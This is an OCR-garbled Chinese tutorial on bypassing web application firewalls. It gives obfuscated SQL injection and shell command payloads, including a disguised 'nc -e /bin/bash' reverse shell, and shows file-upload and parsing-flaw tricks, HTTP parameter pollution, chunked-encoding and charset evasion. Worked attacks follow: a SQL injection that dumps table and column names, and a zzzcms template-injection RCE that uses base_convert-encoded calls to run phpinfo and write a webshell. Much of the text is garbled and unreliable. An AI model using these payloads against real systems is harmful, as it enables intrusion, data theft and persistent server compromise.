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HCH#E, 7HRtaRwaf

GRN—2EMBENRANG, BESdval, AT LS % T HAT

Arewaf .

Waf = Web Application Firewall
, web N FH B ok 85, T8 LR UL 2 7Eht tp P I E X R AT 2 HE
HEATRCI, WRRI TR A I ENIEA, e TR
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XN SR

JRE: UURCA 2K S E A S

xf R4 7 AT A [ g i

select * from zzz = select * from %257a%257a%257a //url¥mhy
55 = %uee27. %ue2b9. %ue2bc  // Unicodefwfd

adminuser = 0x61646D696E75736572 // R4+ /Nt 4bg

JeR = %20 %09 %0a %0b %0c %0d %ae / /4 KImhy
WNREFHITRKNELZ I

Union select = uNIoN sELecT

B HAMENHBR KRS #®
And = &&
or = ||

LT = like HZRE <5 >HIMr

if(a,b,c) = case when(A) then B else C end
substr(str,1,1) = substr (str) from 1 for 1
limit 1,1 = 1limit 1 offset 1

Union select 1,2 = union select * from ((select 1)A join (select

2)B;

hex(). bin() = ascii()
sleep() = benchmark()
concat_ws() = group_concat()

mid(). substr() = substring()



@@user = user()

@@datadir = datadir()

/

rrEdmEENERE gL BEN, FAL
P B8 ok A6 .

EE&Windows 4 itk

whoami = ((((Wh”o”am""i)))) /1 RIBTE =53 BT 55 A Twhoami

whoami = a=net&&b= && %a%%b%
[/ FIHAR S5y F et T Twhoami

a=123whoami456
echo %a:~3,6%

%a:~3,6%

C A\ Usershdopens - woami 456

sers'dopenser

Bt &Linuxiit

whoami = w'h'o'a'm"i" //HB| 58N FERER, FEHA

[root@VM 6 17 centos ~]1# w'h'o'a'm"1"

root

Cat /etc/passwd = cat /?t*/??ss**

whoami = /b[12312i]n/w[23sh]oa[2msh]i

e AC & H Ax %5 £



[root@vﬁLB_l?_centns ~]# /bl123121In/wl23sh]loal2msh]1
root

Whoami = a=who&&b=ami&&$as$b / /348K inux FHL A DAAR B Hf 2

[root@VM 68 17 centos ~]# a=who&&b=ami1&&$ash

root
cat /../../etc/passwd = .. && . . && etc&&cat passwd
/BB, /AR

[root@M 0 17 centos yunsuo_install]# pwd
root/yunsuo_install
[root@M 0 17 centos yunsuo_install]# cd ..&&cd ..&&cd etc&&cat passwd

root:x:0:0:root:/root:/bin/bash
pin:x:1:1:bin:/bin:/sbin/nologin
laemon:x:2:2:daemon:/sbin:/sbin/nologin

Shell J 3% 0] DLAC & %5 M 4E H .

nc -e /bin/bash 127.0.0.1 1234 =/??n/?c -e /??n/b??h 2130706433
1234 // (127.0.0.1 -» 2130706433)

Bt & Mysql %

SRk /PR EVERERF, FEE R, fTH FEM R Y, THwa
f UL e .

User() = user () /] RS AT LU T 40 22
Union =

J# 1w/ WBCERE A 4 B AT, mysal B
User() - (O*/

Union =
%oaf iT SHHPATHERAE & H .

Union select = union

Mo & o8 A B Is TR & &



KT L g, WER#EF.
and = anandd /[ FEFAEF IS JE T o T I 28 Jk By e £ 7
Hitchr () BB e ¢ 8+

phpinfo() = chr (80).chr (72).chr (80).chr (73).chr (78).chr
(70).chr (79).chr (40).chr (41) //ffacsiifiididchr () B[Rk

Hitbase convert () BREA 0 iE ¥,

phpinfo = base_convert(27440799224,10,32) //M 10k &4 pk 3 233 )

httpihY&Eid
JRE . BFA TEEIEARASE R
Content-Type%iid

H W waf H ) #F] Content-Type 22 B N multipart/form-—
datafi, &K N2 XM EALWER, A & Fh Sk 5d )
f S B, FEMESGIT.

application/x-www-form-urlencoded & multipart/form-data
HTTPHE R T &% d

wa £ 78 X f& B 5 AF 3 AT R I A I, 22 9 N postiE R M get 5 K B E
TN TE R UG BC R, R B A, AR R 7 aUA L R gl A

o

Ps: 8l /22 2 3 J5 BRUVIR &S X post i Rk I ) FE 8/, wlal
AR i Ry A geid



HThttph X VR4S EBAFAE, FB waf ()4 B HLE X F 4 2
By LAE, E& “S8EE7 o ARG S &R S0 E
WS HMTE AR M. BAavalf 5 gl 3 2 B i 8 AR,
ARG warf.

PEAZMIBHON - 21d=1&id=2&id=exp

asp.net+iis:id=1,2,exp

asp+iis:id=1,2,exp

php+apache:id=exp

T R kSRl

JE . M M wafly )5 im ik 55 4% B 88 B A — 2

Tis5.0-6. 0fHT i

.asp --> /xx.asp/xx.jpg //.asp, .asaH @& FHIXFEBAEY kasp X1
.asp --> xx.asp;.jpg // IR 55U TR B BT 28

Tis7. 5/ M JWiF (php. iniJFJEfix pathinfo)

.php --> /xx.jpg /] bAE Gpg—ATiE, Vil fE N E/xx . php
apachefi# #r s I
.php --> /test.php.phpl23 [/ WA, REAAIfa SR I ha AT

nginx MW (php. iniJF/Efix pathinfo)
.php --> xxx.jpg%00.php //Nginx <8.03 ZEF T CIGHTTH I
% Content-Disposition&éid

iH R (&) H &)

& % A~ Content—
Dispositioni, H[a] 45 wafHUE A [H



Request Response

Raw I Params [ Headers I Hex Im Headers I Hex

POST Iuploud php B'l"l‘!fl 1 & HBTTP/1.1 200 OK

Bost: " Content-Type: text/html

User-Agent: Mozilla/S. U iMacintosh; Intel Mac 05 X 10.12; rv:50.0) Server: Microsoft-IIS/7.0
Gecko/20100101 Firefox/50.0 X-Powered-By: PHP/5.3.29

Accept: text/html,application/xhtml+xml,application/xml;qu=0.9,%/%;q=0.8 X-Powarsd-By: ASP.HET
Accept=Language: zh=CNH,zh;q=0.8,en=05;g=0.5,en;g=0.3 Date: Sun, 27 Wov 2016 09:14:17 GMT
Ac:epz-ﬂncudxng: _gzip, deflate Connection: close

Refarser: ' Content-Length: 35

Cookie: PEPSBSSID d71d1mhpts:dvq9p5ncusld55
=i o .o Success upleoad. ril-lln:

Connection: close

Opgrade-Insecure-Requests: 1

Content-Ty] ultipart/form-data;

BOUNAAL Y e m e e e 10931605291026410818150481775
Content-Le

----------------------------- 10931605291026410818150481775
Content-Dispesition: form-data; name="file"; filename="shell.php" [

----------------------------- 10931605291026410818150481775
Content-Disposition: form-data; name="file"; filename="shell.jpg"

_____________________________ 109)16052910264lOBlElSOdﬂl 75
Content-Disposition: form-data; name="submit”

upload

-—— 10931605291026410818150481775-~

fEPr R AR

fEhttp il rh, RMEM LKL N filenane=" 1. php” , HE
web 7% 4% & 1E fF A B WO i — S e, SOfF BARRE, AT I waf A % i
b E T WL AT, AT AN B SO A4, AT e Se il

filename="test.php filename=test.php filename=‘test.php*
keep—alive (Pipeline) %%

JAFE chttpig KK H ConnectioniX MNP B, @M tcpiEES
R b B (E R 2 S WO, AT UL T34 e fH B Nkeep-
alive, ZAJGEhttpiF R X W& 2 A3 K, # & = A S 12
o iERY, N dwaf.

Burp Intruder RRELEEICIE VWindow Help

Update Content-Length

Sequencer T Decoder IComparer I Extende

Follow redirections >

v Unpack gzip / deflate
B

P Process cookies in redirections
Go :
;J View

Action

Request

RIEWAE R, HE RN, #m B8k, M7 % B 3 A K



POST test php HTTPA 1
Host:
User-Agent: Mozila/S 0 (Windows NT 10/0; Win84; x84; rv:77 0) Gecko/20100101 Firefox/77.0
Accept: textiml (qe0.9} rge08
Accept-Language: =h-CN,zhugeD 8 zh-TW.qe0.7 zh-HK,g=0.5 en-UIS;qe0.3 en,qe0.2
Accept-Encoding. gzip, deflate
Contert-Type: spplcation/x-www-form-uriencoded
Content-Length: 4
Origin/ 0]
Connection keep-akve
Referer.
Cookie: security_session, veﬂlyﬂcrtﬁiﬁcﬂ%:a?%eh?ﬁﬁ?dsai?giuc
Upgrade-insecure-Requests: 1

L

ﬂ-?owd!r»hy&FOST #est php HTTPA 1

User-Agent: Mozila/S 0 (Windows NT 10.0; WinB4; x64; rv.77 0) Gecko/20100101 Firefox/77.0
Accept: textiHml (=09 P ge08
Accept-Language: zh-CN zhg=0 8 zh-TW,q=0.7 zh-HIK,g=0.5 en-UIS,q=0.3 en,q=0.2
Accept-Encoding: gzip, defiste

Conten-Type: spphcationi-www-form-urlencoded

Content-Length: 4
Origin: *
Connection: close
Referer.

Cookie: security_session_verify=0cd0536c89h3a293eb 766754539342
Upgrade-nsecure-Requests: 1

i3]

o YLt i ge it

AN

e I C
: R TR Y, Seid
i AR A B B A

T HTTRM A

JR 2

Lll’llOH

POST I
Host aliied
User-Agent: Muzw\la!ﬁ 0 (Windows NT 10.0; WinB4, x84, ne76.0) Gecko/20100101 Fi
Accept: text/html application/shtml+xml application/xml;q=0.9 image/webp **;q=0.8
Accept-Language: zh-CN zh;q=0.8 zh-TW;g=0.7 ,zh-HI;q=0.5 en-US;q=0.3 en;g=0.2
Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 24

Crigin: |
Connection: close

Referer: f+ o7 oo e

|ransferEncndmg chunked l _-'_ .UJ\JJH.I-H:%EY,E
pgrade-Insecure-Requests
3 —

ip=
6
whoarni

]« se—axEn, mesTasE=mG, Trth=s:

BRI T R: Charset&id

JEEE K M WAF BRAAH UTF 8 2

SRKE, BHETE ip="0KE 6FE

0 ¥Powered-By PHPS 416

P Cortent.-Length: 45
Keep-Alive: tmeout=5, max=100
Connection: Keep-Alive
Cortent-Type: text/imi; charset=UTF-8 N

me:Gordon<li=<hi 1.1 404 Hot Found

Server: Apache2.46 (Cent0S) PHP5.4.16
Cache-Controk no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Content-Length: 10442
Connection: close
Content-Type: texthtml; charset=UTF-&
<IDOCTYPE html PUBLIC “#WACHDTD JHTML 1.0 TransitionalEN"
“hitpAfwww.w . org TR/ xchtm! /D TDVxchtmi 1-transitional dtd=<html
xmins="http:fheeww w3 orgH 983 fehimi’s<head=<meta hitp-equive"Content-Type” contert="texthiml, charset=LITF-8"
I><meta hitp-equiv="Cache-Corfrol” cortert="no-store, no-cache, must-revalidate, post-check=0, pre-check=0"f<meta
hitp-equiv="Connection” content="Close")
type="textices™=a,img,h1,body.p{ margin:s; list
font. = font. o margin: 0; padding: 0; width: 100%;}ahover,
adink, a:visited, aactivel red{ color:#01111b;Lstop { width:E00px;
margin: § auto; manln -top:Bipx;)stop Jogol width:98px; height:115px; margin:0 auto; display:block;}tip1{
font. margin:30px auto 0; display:blocks)tib{ width: 520px;
border: 1px dashed f#cce; margin: 20px auto 0; border-radius: Spx; padding: 10px 20px; background:
Hedfcfa;)tib tol { line-height: 26pi; font.size: 12p; vertical-align: top; Jib d1{ width: 16%; text-align: right;
color: F9E9696:Mib 12 ( width: 84%; text.align: left; word-wrap: break. wordword-break: break.altip2(
widthc250p; margin:30px auto b letter i

L auto; mary class="stop"><img class="lgo"

- sro="data imace/ona basesd JV| EOFWDKGWA&AANSUHELMMAESk&ABICAYAAAD)’V!\:CM)\.&GXFF\M’RTDZZN"

=4

¥Box # 7
E e v LR ol

and, or, select

15 7 % 5%

waf

HTTP/.1 200 CK

Date: Wed, 13 May 2020 03:53:56 GMT
Server: Apache/2.4.7 (Ubuntu)
X-Powered-By: PHP/5.5.9-1ubuntud. 29
Content-Length: 9

Connection: close

Content-Type: text/html

¥

refox/76.0

www-data

SRS EEH

A I, 4B g b U7 3 AT RE 4 S8

waf, Ui Hcharset Nibm037.

POST Aest php HTTPA 1

Host:

User-Agent. Mozilai5.0 (Windows NT 10.0, Winé4; 364 v 77 tlJGeckuQﬂlnm 01 Firefox/77.0
Accept: textitmi Pig=0.
Aecapt-Language’ zCN, 250 8,21 TW,=0 7 Zh-HK =0 5 8-S 90 3,6 q—D 2
Accept-Encodng: gzip, deflate

Cortert-Type: application/x-www-form-urlenco
Cortent-Length: 30

Origine 0 on aenanmane
Connectioncclose

Referer: +
Upgrade-Insecure-Requests: 1

fikDODi-f?>DEA% AAEDDDAEAEADD

N

union select 1,user()

HTTRA 1 200 0K

Date: Sun, 28 Jun 2020 082116 GMT

Server. Apache/2.4.23 (Win32) OpenSSLN 0.2 PHP/S 4.45
Contert-Length: 2434

Connection close

Contert-Type: texthiml; Charset=gh2312

<IDOCTYPE html PUBLIC #W3ICHDTD XHTML 1.0 TranstionallEN" "hitp:#www. w3 org TR/xhtm /D TD¥xhtmIt-transRional. dta™s
<htm) xminvs="http: fhwrww w3.orgH SGBk M
<head>
<meta hitp-equive"Cortert. Type" content="texthim|, charset=ghk2312"
<titlex Pl 5B K Hi<Atle>
<head>
<styles
p{
line-height:20px;
}
ulf list-style-typemone;}
I list-style-typemnones}



Wafta il PRI 52

|

JEHE . wa AR I B8 77 B A = A
S H

JRPE NS A S E, AR wat W R, & H S Eo
GEidwat T, AJGE— s Kwalf, Wphpstudy H Wwafs

BE O

RS waflikis |

Bl

£ B =1
IPH&8 1A
PR . *(?:Is|pwd|whoamilllifc... FALEh Tshell EH
copsp \s*andiss. =" LA and 1=1 e

KB whoami =

NS HEE, RIS

Accept-Encoding: gzip, deflate [a HTTR/M.1 200 CK
Content-Type: application/x-www-form-urlencoded Date: Fri, 22 May 2020 09:52:09 GMT

Content-Length: 1586 Server: Apache/2.4.39 (Unix) OpenSSL1.1.10

Crigin: htt, 7 77 LT X-Powered-By: PHP/5.5.38
Connection: close Connection: close
Refergr; b 7 TT 0T T

T —— » Content-Type: text/html
Cookie: lg=cn; PHPSESSID=d9729c57 dch 1 d741 43644748 ?}éﬁ[*ﬁoo Content-Length: 4

Upgrade-Insecure-Requests: 1
/ www

cert=1238cent=1238cern=1238cen=1238cen=1238cern=1238cen=1238cen=1238¢cer=
123&cet=1238cen=1238cernt=1234cet=1238cen=1238cet=123&cet=1234cen=1234
cert=1238cert=1238cari=1 238 cert=1238cert=1 23ffcari=whoam )

G2 X 8

JRER 2 ik 5 A% A DUAL BB Bl B OK Twaf iy, XOME AL A DL i K
PRERMB IR WAF B, Mmgidwaf.
UnIoN SelLeCT = and (select 1)=(Select ©xA*99999) UnIoN SeleCT

and 1=1 = and 1=1 and 99..99999 /] HALE RN 49
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MR LEHE5RIT

JAEE . Az ek &l A

Hipgeid

JREE . HEXEMIEAER L, REASEdvaf, MNMKRISRE .

15 U ) A

. 1.DNS&EiH

2.DNSRE

DNSiRZ5 =8

3.webigsk

4 LT IR K

WEBfzZ5 =% WAF

B



USER DNSHRZ5=%

L TEI@TSIR
BRWeDIER  pysmpim i

WEBfR53 28 WAF

B M B/ ssrfseid

FE, NAMBERRERTREM, AL Sval K80,



| [ ]
I
1.webig=k B
/ I I
WAF

WEBfRF==5

USER

WEBfRZ =%

W 55 AsAEH F BB ssr ORI, P46 IR R Bk R



USER

11550 R ER Bkt A1.B

WEBfRZ5=%

FLIHA (ZMRILE)

N T AR T e (R A B T, IE AT R R R ok — i = B
» B BTk B R AE SE R DL A e A AR E

2% Vg

7 mysql+apache+php
=R A: AFH =M Linux 3.1.20.15
FEEHHM: 2020-04-27

ML FE N7 E BB Edy, 2 Oy g S R 18 4T AU .



dsn
S.p'dl]
$id=$_R H

$sql = ame from ar ere user_id = $id";

first_name"']

B FIWT HI BT N , and 1=1 , HEREIHAFR, #EE T

D & "Wmm L/test.php?id=1 and 1= TN
B =Ems © 5w

BPNERABAGENSE, CHNMIERRZEE]-!

Jtest.php

Mozilla/5.0 (Windows NT 10.0; Win64: x64; rne77.0) Gecko/20100101 Firefo
x/77.0

2020-06-25 22:20:12
HEFHE, HREPELERER;

¥ payload

KINE AnD 1=1 8
KNE 8 JIANd/  1=1 =X



ZWHAZH — TandW B, walf A 4380, NizsE A 1k N UL S
Bk T .

Axnxd APEE;

& B A
&&1

FORH B S0 B+ G R vk SR il B e A T .

(01 ftestphp?id=1 /*1/*123123*/aND/*123123*/*/ 1=1 §& -+ ¥

Bemmn O rems

BRIRRNEREABAGENSE, SEMEERRE S

=T e ftestphp
HEEEEE: Mozilla/5.0 (Windows NT 10.0; Win6d: x64; rvi77.0) Gecko/20100101 Firefo
WT7.0
FEERIE:  2020-06-25 22:24:42
fEeEs: EHERAEE, BERERSEER;

WAV fuzz — THEEMERBFHRER T, 22 WATER, X
Ao AT A AE A 2

Bl order by ¥ B B A &  order
it X T waf, B AN Zby, 2EMMHAEMAE Jwval,



o 404 O (] 11283 el e00=004"R¢O08...
5 AND 404 O (] 10855 el e00=004"R¢O08...
69 DECLARE 404 O (] 11283 el e00=004"R¢O08...
103 HAVING 404 O (] 11283 el e00=004"R¢O08...
164 OR 404 O O 11283 el e00=004"RgO08. .
245 union select 404 O O 11283 el e00=004"RgO08. .
247 order by 404 O a 11283 =0 =00=008"¢O08...
250 union all select 404 O O 10858 =0 =00=008"¢O08...

ZH— Mg

JRAH E R AT .
BE ok, X HLRAT A PLE
\1. A %2 3 85 Jm THI R A 7 4 R 4L

\2.

% 0a s J& 7 ) N 78 BEAT 47, A5 A s 135 ) 28 HYTE RS i fE 4k
B AT T o

i B OC B e B, MR R E AR S BT

£ K ¥ e v W DL R B s

1 select first_name,last_name from users where user_id =1 /*lorder*// *4/#3
2 SERSEA
3 r1oy*s /oo

s first_name last_name

admin admin

fE florder byl I th 77 75 2 51

Payload:test.php?id=1
%23A%0A %23A%0A 2

&« G @ 0 & “ftest.php?id=1 /*lorder®//**/%23A%0A/* /%2 3A%0 A/ *by*/ [**/2

Eaamesss @ FFtlE Demmr O =xas

user id:1
user_name:admin




fik P AR [R] 5 3 AR HE R T 44 R A

Payload:test.php?id=1
JHEIUNIon™*//*%/%23A%OA/**/%23A%0OA/* | select*//**/database(),user/*

/0
(— c @ O & . /testphp?id=1 /#IUNlon*//%*/%23A%0A/** /%2 3A%0A/*Iselect*//** /database(),user/**/()

JMEAER @ WELE =AM © s

user_id:1
user_name:admin

user_id:dvwa
user name:rroot@localhost

MEMET R E LG, ATLLA H information schema % #f§ & 3K
WY ar s E R AR, B

Payload:test.php?id=1%20/*!UNIon*/%23A%0A/*!select*//**/database
/*¥*/(),group_concat(table _name)/**/%23A%0A/**/%23A%0A/* ! from*//*
*/%23A%0Ainformation_schema.tables/**/%23A%0A/**/%23A%0Awhere’%20
table_schema=database/**/()

«~ [~} D & coom 5/test.php?id=1 /IUNIon*/%23A%0A/Iselect*//** /database/**/(),group_concat(table name)/**/%23A%0A/** /%23 A%0A/*!fr BR e

BodEsus @ FFELE D eear @ sres

user_id:1
user_name:admin

user_id:dvwa
user_name:guestbook users

ROk 45 dump 2H

test.php?id=1
/*1UNIon*/%23A%0A/*select*//**/database/**/(),group_concat(colu
mn_name) /**/%23A%0OA/ ** /%23A%OA/* | from*/ /** /%23A%0Ainformation_sc
hema.columns/**/%23A%0A/**/%23A%0Awhere table_name='users'

&« ¢ o D & Jtestphp?id=1 /*lUNlon*/%23A%0A/*Iselect*//** /database/**/(),group _concat(column_name)/” Bf = ¥

B xmesss @ HErE DAL O mrmw

user_id:1
user_name:admin

user id:d
user_namefuser_id,first_name,last_name,user,password,avatarlast_login,failed_login,USER, CURRENT_CONNECTIONS, TOTAL_CONNECTIONS ]

KHZ httpthilsed



BE R waf #2404 &, A FATIE L 7 AL fay K QB 7 0 BR
B R g R T KA Npost IFINA, & e & 0y 7 Bof fan i oK.

W O&E X H  Transfer-Encoding: ® fH & N x
chunkediff A& chunked.,

) i s q 1 A) 4 W 5 BUS.

POST fest php HTTPA A HTTPA .1 200 OK

Host: o 3 Date: Fri, 26 Jun 2020 08:43:24 GMT

User-Agent. Mozila/3.0 (Windows NT 10.0; WinG4; k64, rv.77.0) Gecko/20100101 Firefox/77.0 Server: Apachef2.4.6 (Cent0S) PHP/S.4.16

Accept: textihtml icationichtml+xml ication/xml,g=0.9 imag P, g=0.8 ¥-Powered-By: PHPIS.4.16

Accept-Language: zh-CH zh;g=0.8 zh-TW,g=0.7 zh-HK; g=0.5 en-US;g=0.3 en;g=0.2 Content-Length: 44

Accept-Encoding: gzip, deflate Connection: close

Content-Type: application/x-www-form-urlencodec Content-Type: texthtml; charset=UTF-8
Content-Length: 58

Crigir: bt 77 777 777 07T <hri=user_id1<bri-user_name:admin<bri><hri=
Connection: close

Referer htp o ... _zst php

Cooki 5343320476601 a260a18e103b1 Gadd 1

Upgracde-insecure-Reguests: 1

4
icl=1

B
+order
3

+hy

2

+2

1]

sy #lunion select ] 245 E .

POST Rest php HTTPA 1 i HTTP1.1 200 OK

Host: L\ Date: Fri, 26 Jun 2020 09:23:07 GMT

User-Agent: Mozila/5 0 (Windews NT 10.0, WInG4; x64; rv'77 0) Geeko/201 00101 Firetex/77 0 Server: Apachei2 4 6 (CentOS) PHPIS 4 16

Accept: texthtml 1 ionfemt =0 9 imagewebp **q=0 8 ¥-Powered-By PHPS 416

Accept-Language: zh-CN zh;q=0.8 zh-TW,g=0 7 zh-HK;g=0.5 en-US;q=0 3 en,g=0 2 Content-Length 82

Accept-Encoding: gzip, deflate Connection: close

Content-Type: applicationf-www-form-urlencoded Content-Type: textitml, charset=UTF.8

Content-Length: 83

Origir: ht, <hriuser_id:<br>user_name:admin<be/><ir>user_idA <jr-user_name:dwwasi ><his

Connection: close

Referer: piptenn ann con cmne gy

Cookie: sﬁcmlv_wnim_ierify%dﬁltﬁmbﬂsﬁcm a260a18e103b16ad0
Transfer-Enceding x chunked

Upgrade-insecure-Requests: 1

Ji% Th R R A .



4 A HITPA 2000K
=1 Date: Fri, 26 Jun 2020 09 3341 GMT

6 Server. Apachei2.4 6 (CentOS) PHP/S 4.16
+union X-Powered-By: PHPS 416

7 Contert-Length: 93

+select Conngction: close

2 Contert-Type: text/himi, charset=UTF-8

7 <hri=user_id:1<bi=user_name:admin<ir=<hr>user_id1<br-user_name:guestbook,users<orj><hif>
group_
9

concatita
9
ble_name)
9
+fromeinf
9
ormatian_
9
schemata

bles+wher
9
e+table_s
9
chema=cat
7

abase()

o

Jr T 4K B K 3 s o 11 A B A A4S A B dE .

+union i HTTPA .1 200 OK

7 Date: Fri, 26 Jun 2020 11:24:49 GMT
+select Server Apachei2.4 6 (CentOS) PHPIS 4,16
2 A-Powered-By: PHPI5 4.16

“t Content-Length: 194

7 Connection: close

group_ Content-Type: textiiml, charsst=UTF -5

9

concat(co <hef-user_ids<br-user_namesadmin<brf-<hr/-user_id:A<iri-user_| _idfirst_s last

£l r,password,avatar,last_login failed_login,USER, CURRENT_CONNECTIONS,TOTAL_CONNECTIONS<brf-<hrf>
lumn_name

E

J+from+n

formation
9

_schema.c
El
clumns +wh

ere+sble
9

_name='us

=

BE|IESE (zzzcmsV1.7.58i8rce)
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T

CRBEBAGE, RREE, g
fREE, BEITEE

BHERE, B LEEHE
httg == pae |

B, RO EEE W
@ ®

[

W ZE Tl W] G & Rox OGS g — Wi, WE. ..

AT IF 78l s SEMRIEIR TR fpoe, AT —#iphpinfo, ik
WAT -

POST " FHTTPA A A HTTPA .1 403 Forbidden

Host: P Content-Type: texthtml

User-Agent: Mozilla/5.0 (Windows NT 10.0; WinE4; x64; rv:77.0) Gecko/20100101 Firefox/77.0 Content-Length: 151

Accept: texthtml application/xhtml+xml application/xml,q=0 9 image/webp */*,q=0.8 Connection: close

Accept-Language: zh-CM,zh;q=0.8 zh-TW,q=0.7 zh-HK;g=0.5 en-US;g=0.3 en;gq=0.2

Accept-Encoding: gzip, deflate <html>

Content-Type: application/x-www-form-urlencoded <head><title>403 Forbidden<#itie><head>
Content-Length: 27 <body=

Origin: Lol <center=<h1=403 Forbidden</h1=</center=
Connection: close <hr=<center>HTTP Proxy</center=
Referer: 1 ... - </hody=

Cookie: PHPSESSID=hiStpa3g7auatpjabdsg3ddegl </htmi>

Upgrade-Insecure-Requests: 1 |

Fevs={if:phpinio() Hend if}l

Bt — 2 M AT Ho iy A R B 7403, MIZE#iwafdE T



POST HTTPA A A HTTPM .1 403 Forbidden

Host: . " Contert-Type: texthtml

User-Agent: Mozilla/5 .0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0 Contert-Length: 151

Accept: text/html application/xhtmi+xml application/xml,g=0.9 image/webp */*;q=0.8 Connection: close

Accept-Language: zh-CN zh;¢=0.8,zh-TW.q=0.7 zh-HK;q=0 5 en-US;q=0 .3 en;y=0.2

Accept-Encoding: gzip, deflate <html=

Cortent-Type: applicationfx-www-form-urlencoded <head=<itle=403 Forbidden<#ile=<head=
Contert-Length: 27 <bady>

Qrigin: I =center><h1>403 Forbidden<m1></center>
Connection: close <hr=<center=HTTP Proxy</center>
Referer: | ! </hody>

Cookie: PHPSESSID=hi5tpa3g7auatpjafdsg3ddegD </htmi=

Upgrade-Insecure-Requests: 1

keys={if.system{whoami) {end if}

fuzz — W R RER AN — L Ha S8 E0es, dEmEE, k
1F 5 A2 # BRI BT -

1 systemi) 403 L L 500
2 eval() 403 ) ) 500
3 fread() 200 0 0 11748
4 copy() 200 [] [] 11744
5 exec() 403 ] ] 500
8 azsert() 403 O O =00
7 phpinfo() 403 O O 00
] zhell_exec() 403 O O 200
9 zhell(} 403 O O 500
10 include 200 ) ) 11732
11 reguire 200 O O 11732
12 file 200 1 [ 11728

BELR, MERHE I —PIR

R RA B MR IR A B 7 NI R AL E, BREfdange
r_key, &HALIE T H A

$norecord =isset( $norecord )
$ke;,ﬂ5 = danger key(getform(
f ( $sid ) arr_add( $where,

if ( $keys ) {
$searchcol = safe_key(getform(
$type
fsort

ANEANFIIE, —FHWF Bk, BWARN, ZIFRLNEZMET THAEAD
AL R HES (php#ign s IE 7, BEASphpinfofBEIEHRAT) -
AT R IXA R, KRBT Rk, RS S MG SR S, R
EAM I KB 7B 55 MG 50K T .



gt —F &KW, REHFIFKRIEHFarray _mapiX > & £ 0 0] BLIAT dy
L, HRBGEANT, WA e A, ?\jfﬁhﬁﬁ*ﬁé\, H D
hpinfoh 323k 103t .

2 4 i 1032k 1638 @ 32 32EE v

EiEEI=  phpinfo

2 4 il ) 1018 16338 3254 10888 v

RS 27440799224

HiEiIphpH Hlbase convert PR, HIT10HE 6 323k, XK
MAE g wal 5 Mol A G &N, — & 0, MWIEGpocll T

array_map(base_convert(27440799224,10,32),array(1))

M &L poce, AT H 4T phpinfof % .

POST HTTPA A i ‘ T ‘
Host r
User-Agent: Mozila/s.0 (Windows NT 10,0, WinG4; x84, rv.77.0) Gecko/20100101 Firefox/77.0

nccem textimi g Q= US Pa=08

o Gl e 4 1 PHP Version 5.4.45 Php

Contert. Type applicationt-www.-form-urencaded
Cortert Length 69

Origin: © o e

Connection: close

Referer:

Cockie: PHPSESSID=riS0misgs TITBNvinimses6at0 system [\indows NT DESIKTOP-30F TBEP 6.2 buld 5200 (Windows 8) 585
iy e
Upgpade ez Requests: Build Date Sep 22015 234553
keyssiifaray_map(base_convert(27440748224,10 32) aray(1)) jend if |
Compiler MSVCO (Visusl Co+ 2008)

Architecture || x86

Configure :s:rm Inalogo configure s "—-enable-snapshot-buld” "--disable-isapi™ "—enable-debug-pack”
Command “--without-mssg” —wlnummm fwlhulkpﬂwuh

- with-pdo-oci=C:| shared”

- with-oci Oledk shared”

- with-ocig- 'I‘|ﬂ=c php-sdkieracieinstantclient! 1sdk shared” "--enable-object-out-dir=_ fobj™
"—-enabie-com-dotnet=shared” "with-merypt=static” "—disable-static-analyze" "—with-pga"




MR A F AR — At copy #E M B R H sk, M) E Flshel
1o

{if:array_map(base_convert(591910,10,36),array(base_convert (8318
05,10,36).(base_convert(14,10,36)"base_convert(1,10,36)"base_con
vert(23,10,36)).(base_convert(25,10,36)"base_convert(1,10,36)"ba
se_convert(23,10,36)).(base_convert(25,10,36)"base_convert(1,10,
36)"base_convert(23,10,36)).(XX).(base_convert(26,10,36)"base_co
nvert(1l,10,36)"base_convert(23,10,36)).(XX).(base_convert(26,10,
36)"base_convert(1,10,36)"base_convert(23,10,36)).(XX).(base_con
vert(26,10,36)"base_convert(1,10,36)"base_convert(23,10,36)). (XX
). (base_convert(25,10,36)"base_convert(1,10,36)"base_convert(23,
10,36)).(base_convert(1,10,36))),array((base_convert(1,10,36)).(
base_convert(26,10,36)"base_convert(1,10,36)"base_convert(23,10,
36)).(base_convert(33037,10,36))))}{end if}

ZF|shell O ZE W

et 3 . code 2020-04-23 15:56:19 0
Bl = 404 2017-05-07 16:19:24 0
B phe o
EY=] v+ 2 Admin 2020-04-25 17:66:58 0O
] . code ) Core 2018-05-17 15:20:29 4096
) 404
C SFPHPT 2017-05-07 16:19:25 4096
) Adnin & CoraSzi
&) Core 2 Heml 2016-07-29 16:41:42 0
] CoreziPHPT =) install 2020-04-25 12:17:07 4096
Q Hinl 2 Public 2020-04-25 12:17:07 4096
] install
= Public ) Trade 2020-04-25 12:17:07 0
[ Trade ) web 2020-04-25 17:20:33 0
g Web — © R 2017-05-07 16:19:28 0
s Bl [ 123. phyp 2020-04-26 18:03:38 66
@ F: [] admin. php 2017-05-10 01:14:49 619
[] configmnl 2016-07-01 13:16:06 465
E»—I:l
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